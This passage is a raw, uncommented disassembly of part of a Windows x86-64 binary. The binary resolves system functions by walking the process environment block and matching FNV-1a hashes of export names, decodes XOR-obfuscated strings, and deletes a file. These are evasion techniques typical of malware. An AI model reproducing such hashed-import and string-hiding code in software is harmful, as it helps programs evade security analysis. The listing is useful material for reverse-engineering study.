mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rbp + 0x2658]
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140079fb6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140079fb6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x8328e0e2
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140079fb1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140079f90
cmp r8d, 0x2f58a2e8
je 0x140079fbb
test r9d, r9d
jne 0x140079f70
mov rax, qword [rax]
jmp 0x140079f40
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rbp + 0x2660]
call rdx
nop
lea rcx, [rbp + 0x2910]
call fcn.140090180
nop
lea rcx, [rbp + 0x2c18]
call fcn.140090bf0
mov rax, qword [0x140214480]
cmp byte [rax + 0x24], 1
jne 0x140081c5f
call fcn.140051df0
call fcn.1400537a0
lea rax, [rbp + 0x11c0]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0x11c0]
call fcn.140056470
mov rbx, rax
mov byte [rbp + 0x5e0], Ordinal_79
mov byte [rbp + 0x5e1], 0x55
mov byte [rbp + 0x5e2], 0x5e
mov byte [rbp + 0x5e3], 0x43
mov byte [rbp + 0x5e4], 0x5f
mov byte [rbp + 0x5e5], 0x43
mov byte [rbp + 0x5e6], 0x57
mov byte [rbp + 0x5e7], 0x41
mov byte [rbp + 0x5e8], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x5e9], 0x50
mov byte [rbp + 0x5ea], Ordinal_79
mov byte [rbp + 0x5eb], 0x52
mov byte [rbp + 0x5ec], 0
mov byte [rbp + 0x5ed], 1
lea rdx, [rbp + 0x1fe8]
lea rcx, [rbp + 0x5e0]
call fcn.14008ef50
nop
lea rcx, [rbp + 0x1fe8]
call fcn.14004b5f0
nop
mov r8b, 1
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x1fe8]
call fcn.140090bf0
call fcn.1400559f0
mov rax, qword [0x140214480]
cmp byte [rax + 0x27], 0
je 0x14007a0e1
call fcn.140055490
lea rax, [rbp + 0x11d8]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0x11d8]
call fcn.140055c90
mov rbx, rax
movdqa xmm0, xmmword [str.__O_DBQAQPX]
movdqu xmmword [rbp + 0x980], xmm0
mov byte [rbp + 0x990], 1
lea rdx, [rbp + 0x2008]
lea rcx, [rbp + 0x980]
call fcn.14008e5c0
nop
lea rcx, [rbp + 0x2008]
call fcn.14004b5f0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x2008]
call fcn.140090bf0
lea rax, [rbp + 0x11f0]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0x11f0]
call fcn.140056380
mov rbx, rax
movdqa xmm0, xmmword [str.__O_DBQAQPX]
movdqu xmmword [rbp + 0x998], xmm0
mov byte [rbp + 0x9a8], 1
lea rdx, [rbp + 0x2028]
lea rcx, [rbp + 0x998]
call fcn.14008e5c0
nop
lea rcx, [rbp + 0x2028]
call fcn.14004b5f0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x2028]
call fcn.140090bf0
movdqa xmm0, xmmword [str.__O_DBQAQPX]
movdqu xmmword [rbp + 0x9b0], xmm0
mov byte [rbp + 0x9c0], 1
lea rdx, [rbp + 0x2048]
lea rcx, [rbp + 0x9b0]
call fcn.14008e5c0
nop
lea rcx, [rbp + 0x2048]
call fcn.14004b5f0
mov ecx, eax
call fcn.14004bcd0
nop
lea rcx, [rbp + 0x2048]
call fcn.140090bf0
lea rax, [rbp + 0x1208]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0x1208]
call fcn.140056380
mov rbx, rax
mov byte [rbp + 0x550], Ordinal_79
mov byte [rbp + 0x551], 0x55
mov byte [rbp + 0x552], 0x5e
mov byte [rbp + 0x553], 0x43
mov byte [rbp + 0x554], 0x5f
mov byte [rbp + 0x555], 0x43
mov byte [rbp + 0x556], 0x57
mov byte [rbp + 0x557], 0x41
mov byte [rbp + 0x558], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x559], 0x50
mov byte [rbp + 0x55a], Ordinal_79
mov byte [rbp + 0x55b], 0x52
mov byte [rbp + 0x55c], 0
mov byte [rbp + 0x55d], 1
lea rdx, [rbp + 0x2068]
lea rcx, [rbp + 0x550]
call fcn.14008ef50
nop
lea rcx, [rbp + 0x2068]
call fcn.14004b5f0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x2068]
call fcn.140090bf0
lea rax, [rbp + 0x1220]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0x1220]
call fcn.140056380
mov rbx, rax
movdqa xmm0, xmmword [0x1401ccb60]
movdqu xmmword [rbp + 0xad0], xmm0
mov byte [rbp + 0xae0], 0x59
mov byte [rbp + 0xae1], 0
mov byte [rbp + 0xae2], 1
lea rdx, [rbp + 0x2088]
lea rcx, [rbp + 0xad0]
call fcn.14008e550
nop
lea rcx, [rbp + 0x2088]
call fcn.14004b5f0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x2088]
call fcn.140090bf0
lea rax, [rbp + 0x1238]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0x1238]
call fcn.140056380
mov rbx, rax
mov byte [rbp + 0x4b0], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x4b1], 0x59
mov byte [rbp + 0x4b2], 0x48
mov byte [rbp + 0x4b3], 0x42
mov byte [rbp + 0x4b4], 0x5f
mov byte [rbp + 0x4b5], 0x5f
mov byte [rbp + 0x4b6], Ordinal_32
mov byte [rbp + 0x4b7], 0x56
mov byte [rbp + 0x4b8], Ordinal_79
mov byte [rbp + 0x4b9], 0x50
mov byte [rbp + 0x4ba], 0
mov byte [rbp + 0x4bb], 1
lea rdx, [rbp + 0x20a8]
lea rcx, [rbp + 0x4b0]
call fcn.14008e4e0
nop
lea rcx, [rbp + 0x20a8]
call fcn.14004b5f0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x20a8]
call fcn.140090bf0
lea rax, [rbp + 0x1250]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0x1250]
call fcn.140055c90
mov rbx, rax
mov byte [rbp + 0x3f0], 0x40
mov byte [rbp + 0x3f1], 0x5e
mov byte [rbp + 0x3f2], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x3f3], 0x5c
mov byte [rbp + 0x3f4], 0x43
mov byte [rbp + 0x3f5], Ordinal_32
mov byte [rbp + 0x3f6], 0x57
mov byte [rbp + 0x3f7], Ordinal_79
mov byte [rbp + 0x3f8], 0x51
mov byte [rbp + 0x3f9], 0
mov byte [rbp + 0x3fa], 1
lea rdx, [rbp + 0x20c8]
lea rcx, [rbp + 0x3f0]
call fcn.14008f030
nop
lea rcx, [rbp + 0x20c8]
call fcn.14004b5f0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x20c8]
call fcn.140090bf0
lea rax, [rbp + 0x1268]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0x1268]
call fcn.140056380
mov rbx, rax
mov byte [rbp + 0x258], 0x7c
mov byte [rbp + 0x259], Ordinal_79
mov byte [rbp + 0x25a], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x25b], 0x7c
mov byte [rbp + 0x25c], 0x46
mov byte [rbp + 0x25d], 0x52
mov byte [rbp + 0x25e], 0
mov byte [rbp + 0x25f], 1
lea rdx, [rbp + 0x20e8]
lea rcx, [rbp + 0x258]
call fcn.14008efc0
nop
lea rcx, [rbp + 0x20e8]
call fcn.14004b9a0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x20e8]
call fcn.140090bf0
lea rax, [rbp + 0x1280]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0x1280]
call fcn.140056380
mov rbx, rax
mov byte [rbp + 0x310], 0x68
mov byte [rbp + 0x311], 0x44
mov byte [rbp + 0x312], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x313], 0x48
mov byte [rbp + 0x314], 0x64
mov byte [rbp + 0x315], 0x43
mov byte [rbp + 0x316], 0x53
mov byte [rbp + 0x317], 0x50
mov byte [rbp + 0x318], 0x5f
mov byte [rbp + 0x319], 0
mov byte [rbp + 0x31a], 1
lea rdx, [rbp + 0x2108]
lea rcx, [rbp + 0x310]
call fcn.14008f030
nop
lea rcx, [rbp + 0x2108]
call fcn.14004b9a0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x2108]
call fcn.140090bf0
lea rax, [rbp + 0x1298]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0x1298]
call fcn.140056380
mov rbx, rax
mov byte [rbp + 0x8c], 0x68
mov byte [rbp + 0x8d], 0x7d
mov byte [rbp + 0x8e], 0x7d
mov byte [rbp + 0x8f], 0
mov byte [rbp + 0x90], 1
lea rdx, [rbp + 0x2128]
lea rcx, [rbp + 0x8c]
call fcn.14008eee0
nop
lea rcx, [rbp + 0x2128]
call fcn.14004b9a0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x2128]
call fcn.140090bf0
lea rax, [rbp + 0x12b0]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0x12b0]
call fcn.140055c90
mov rbx, rax
mov byte [rbp + 0x2b0], 0x68
mov byte [rbp + 0x2b1], 0x43
mov byte [rbp + 0x2b2], 0x5d
mov byte [rbp + 0x2b3], Ordinal_79
mov byte [rbp + 0x2b4], 0x51
mov byte [rbp + 0x2b5], 0x52
mov byte [rbp + 0x2b6], 0x5a
mov byte [rbp + 0x2b7], 0x56
mov byte [rbp + 0x2b8], 0
mov byte [rbp + 0x2b9], 1
lea rdx, [rbp + 0x2148]
lea rcx, [rbp + 0x2b0]
call fcn.14008e470
nop
lea rcx, [rbp + 0x2148]
call fcn.14004b9a0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x2148]
call fcn.140090bf0
mov rax, qword [0x140214480]
cmp byte [rax + 0x26], 1
jne 0x14007abd8
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007a786
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007a786
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x26732775
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007a781
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007a760
cmp r8d, 0xbf1ddb01
je 0x14007a78b
test r9d, r9d
jne 0x14007a740
mov rax, qword [rax]
jmp 0x14007a710
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
lea rdx, [rbp + 0x4f90]
mov ecx, 0x104
call r8
dec eax
cmp eax, 0x103
jbe 0x14007a894
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007a846
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007a846
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x2de7af92
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007a841
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007a820
cmp r8d, 0xfdf57895
je 0x14007a84b
test r9d, r9d
jne 0x14007a800
mov rax, qword [rax]
jmp 0x14007a7d0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edi, dword [rcx + rax*4]
add rdi, r10
lea rcx, [rbp + 0xd]
call fcn.1400868b0
mov rcx, rax
call fcn.14008c290
mov rbx, rax
lea rcx, [rbp + 0xe]
call fcn.1400867d0
mov rcx, rax
call fcn.14008c2e0
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call rdi
lea rdx, [rbp + 0x4f90]
lea rcx, [rbp + 0x2b18]
call fcn.140090c30
nop
mov byte [rbp + 0x4c0], 0x7e
mov byte [rbp + Ordinal_791], 0x4c
mov byte [rbp + 0x4c2], 0x54
mov byte [rbp + 0x4c3], Ordinal_79
mov byte [rbp + 0x4c4], 0x42
mov byte [rbp + 0x4c5], Ordinal_32
mov byte [rbp + 0x4c6], 0x58
mov byte [rbp + 0x4c7], 0x40
mov byte [rbp + 0x4c8], 0x5b
mov byte [rbp + 0x4c9], 0x5b
mov byte [rbp + 0x4ca], 0
mov byte [rbp + 0x4cb], 1
lea rdx, [rbp + 0x2168]
lea rcx, [rbp + 0x4c0]
call fcn.14008e4e0
nop
lea rdx, [rbp + 0x2168]
lea rcx, [rbp + 0x2b18]
call fcn.140090bb0
nop
lea rcx, [rbp + 0x2168]
call fcn.140090bf0
lea rcx, [rbp + 0x2b18]
call fcn.140090b20
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x14007aa1c
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007a9d6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007a9d6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xac7943cc
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007a9d1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007a9b0
cmp r8d, 0x6d25407
je 0x14007a9db
test r9d, r9d
jne 0x14007a990
mov rax, qword [rax]
jmp 0x14007a960
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edi, dword [rcx + rax*4]
add rdi, r10
lea rcx, [rbp + 0xf]
call fcn.140086a10
mov rcx, rax
call fcn.14008c1e0
mov rbx, rax
lea rcx, [rbp + 0x10]
call fcn.140086950
mov rcx, rax
call fcn.14008c230
jmp 0x14007abb7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword gs:[0x60]
cmp eax, 2
mov rax, qword [rcx + 0x18]
mov rax, qword [rax + 0x10]
jne 0x14007ab00
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007aab6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007aab6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xf6da359d
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007aab1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007aa90
cmp r8d, 0xfddbe37c
je 0x14007aabb
test r9d, r9d
jne 0x14007aa70
mov rax, qword [rax]
jmp 0x14007aa40
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edi, dword [rcx + rax*4]
add rdi, r10
lea rcx, [rbp + 0x11]
call fcn.140086b70
mov rcx, rax
call fcn.14008c130
mov rbx, rax
lea rcx, [rbp + 0x12]
call fcn.140086ab0
mov rcx, rax
call fcn.14008c180
jmp 0x14007abb7
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007ab76
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007ab76
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x55524c89
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007ab71
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007ab50
cmp r8d, 0x82280558
je 0x14007ab7b
test r9d, r9d
jne 0x14007ab30
mov rax, qword [rax]
jmp 0x14007ab00
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edi, dword [rcx + rax*4]
add rdi, r10
lea rcx, [rbp + 0x13]
call fcn.140086cf0
mov rcx, rax
call fcn.14008c080
mov rbx, rax
lea rcx, [rbp + 0x14]
call fcn.140086c10
mov rcx, rax
call fcn.14008c0d0
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call rdi
nop
lea rcx, [rbp + 0x2b18]
call fcn.140090bf0
mov rax, qword [0x140214480]
cmp byte [rax + 0x25], 1
jne 0x14007af44
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007ac76
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007ac76
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xee5cd0e6
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007ac71
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007ac50
cmp r8d, 0x623fb9e7
je 0x14007ac7b
test r9d, r9d
jne 0x14007ac30
mov rax, qword [rax]
jmp 0x14007ac00
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ebx, dword [rcx + rax*4]
add rbx, r10
movdqa xmm0, xmmword [0x1401cd150]
movdqu xmmword [rbp + 0x2188], xmm0
mov byte [rbp + 0x2198], 0x79
mov byte [rbp + 0x2199], 0x77
mov byte [rbp + 0x219a], WSAStartup
mov byte [rbp + 0x219b], WSASetLastError
mov byte [rbp + 0x219c], reloc.WS2_32.dll_select
mov byte [rbp + 0x219d], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x219e], 3
mov byte [rbp + 0x219f], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x21a0], 0x64
mov byte [rbp + 0x21a1], WSASetLastError
mov byte [rbp + 0x21a2], 2
mov byte [rbp + 0x21a3], 0x67
mov byte [rbp + 0x21a4], ntohs
mov byte [rbp + 0x21a5], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x21a6], 0
mov byte [rbp + 0x21a7], 1
lea rcx, [rbp + 0x2188]
call fcn.1400614d0
mov rcx, rax
call rbx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007adb6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007adb6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x3cb94de0
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007adb1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007ad90
cmp r8d, 0xfb6eae1
je 0x14007adbb
test r9d, r9d
jne 0x14007ad70
mov rax, qword [rax]
jmp 0x14007ad40
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ebx, dword [rcx + rax*4]
add rbx, r10
movdqa xmm0, xmmword [0x1401cd150]
movdqu xmmword [rbp + 0x21a8], xmm0
mov byte [rbp + 0x21b8], 0x79
mov byte [rbp + 0x21b9], 0x77
mov byte [rbp + 0x21ba], WSAStartup
mov byte [rbp + 0x21bb], WSASetLastError
mov byte [rbp + 0x21bc], reloc.WS2_32.dll_select
mov byte [rbp + 0x21bd], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x21be], 3
mov byte [rbp + 0x21bf], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x21c0], 0x64
mov byte [rbp + 0x21c1], WSASetLastError
mov byte [rbp + 0x21c2], 2
mov byte [rbp + 0x21c3], 0x67
mov byte [rbp + 0x21c4], ntohs
mov byte [rbp + 0x21c5], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x21c6], 0
mov byte [rbp + 0x21c7], 1
lea rcx, [rbp + 0x21a8]
call fcn.1400614d0
mov rcx, rax
call rbx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007aef6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007aef6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xed69e522
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007aef1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007aed0
cmp r8d, 0x73e6c165
je 0x14007aefb
test r9d, r9d
jne 0x14007aeb0
mov rax, qword [rax]
jmp 0x14007ae80
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edi, dword [rcx + rax*4]
add rdi, r10
lea rcx, [rbp + 0x15]
call fcn.140086e80
mov rcx, rax
call fcn.14008bfd0
mov rbx, rax
lea rcx, [rbp + 0x16]
call fcn.140086d90
mov rcx, rax
call fcn.14008c020
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call rdi
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007afd6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007afd6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x995e9f0b
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007afd1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007afb0
cmp r8d, 0x7d217daa
je 0x14007afdb
test r9d, r9d
jne 0x14007af90
mov rax, qword [rax]
jmp 0x14007af60
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edi, dword [rcx + rax*4]
add rdi, r10
lea rcx, [rbp + 0x17]
call fcn.140086fc0
mov rcx, rax
call fcn.14008bf60
mov rbx, rax
lea rcx, [rbp + 0x18]
call fcn.140086f20
mov rcx, rax
call fcn.14008bf80
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call rdi
mov rax, qword [0x140214480]
cmp byte [rax + 0x28], 1
jne 0x140081c5f
mov r14d, 0xa1ec4c3
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov rsi, r12
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rsi + 0x58]
movups xmmword [rbp + 0x2800], xmm0
movd eax, xmm0
sub ax, 8
test r15d, r15d
je 0x14007b0bd
mov rcx, qword [rbp + 0x2808]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0xa6fff93
cmp rcx, r8
je 0x14007b0b4
nop dword [rax]
nop word [rax + rax]
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14007b0a0
cmp edx, r15d
jne 0x14007b1cd
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov rdi, rcx
shr rdi, 0x20
mov r11d, ecx
add r11, r9
cmp r11, r9
je 0x14007b1cd
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x14007b1cd
mov ebx, dword [r11 + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r8d
lea rax, [rbx + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0xa6fff93
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14007b136
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14007b120
cmp edx, r14d
je 0x14007b145
test r8d, r8d
jne 0x14007b100
jmp 0x14007b1cd
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
cmp rdx, r11
jbe 0x140081c5b
lea rax, [rdi + r11]
cmp rdx, rax
jae 0x140081c5b
mov r15d, 0xa6fff93
mov r14d, r15d
movzx eax, byte [rdx]
cmp al, 0x2e
je 0x14007b1a7
nop dword [rax]
nop dword [rax + rax]
movsx eax, al
xor eax, r15d
imul r15d, eax, 0x1000193
inc rdx
movzx eax, byte [rdx]
cmp al, 0x2e
jne 0x14007b190
inc rdx
movzx eax, byte [rdx]
test al, al
je 0x14007b1c9
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
lea rdx, [rdx + 1]
movzx eax, byte [rdx]
test al, al
jne 0x14007b1b1
mov rsi, qword [r12]
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
je 0x140081c57
cmp qword [rax + 0x30], 0
jne 0x14007b060
jmp 0x140081c57
cmp r14d, 2
jne 0x14007e97e
cmp byte [0x14021077a], 0
je 0x140081c6b
movaps xmm0, xmm15
call fcn.1400131d0
movss dword [rsp + 0x20], xmm10
movaps xmm3, xmm9
movaps xmm2, xmm10
movaps xmm1, xmm9
lea rcx, [rbp + 0x850]
call fcn.140002820
mov rdx, rax
xor ecx, ecx
call fcn.140004dd0
lea rcx, [rbp + 0x19]
call fcn.140087020
mov rcx, rax
